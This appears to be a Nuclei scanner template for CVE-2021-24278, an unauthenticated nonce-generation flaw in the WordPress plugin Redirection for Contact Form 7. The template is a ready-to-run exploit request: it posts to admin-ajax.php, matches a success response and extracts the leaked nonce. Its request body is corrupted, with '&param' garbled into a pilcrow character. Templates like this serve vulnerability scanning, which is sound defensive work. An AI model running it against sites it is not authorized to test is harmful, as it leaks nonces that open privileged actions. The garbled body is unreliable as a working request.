id: CVE-2021-24278 info: name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation author: 2rs3c severity: high reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278 - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413 - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/ tags: cve,cve2021,wordpress,wp-plugin classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-24278 description: "In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function." requests: - method: POST path: - "{{BaseURL}}/wp-admin/admin-ajax.php" headers: Content-Type: application/x-www-form-urlencoded body: "action=wpcf7r_get_nonce¶m=wp_rest" stop-at-first-match: true matchers-condition: and matchers: - type: status status: - 200 - type: word condition: and words: - '"success":true' part: body extractors: - type: regex part: body regex: - '"nonce":"[a-f0-9]+"'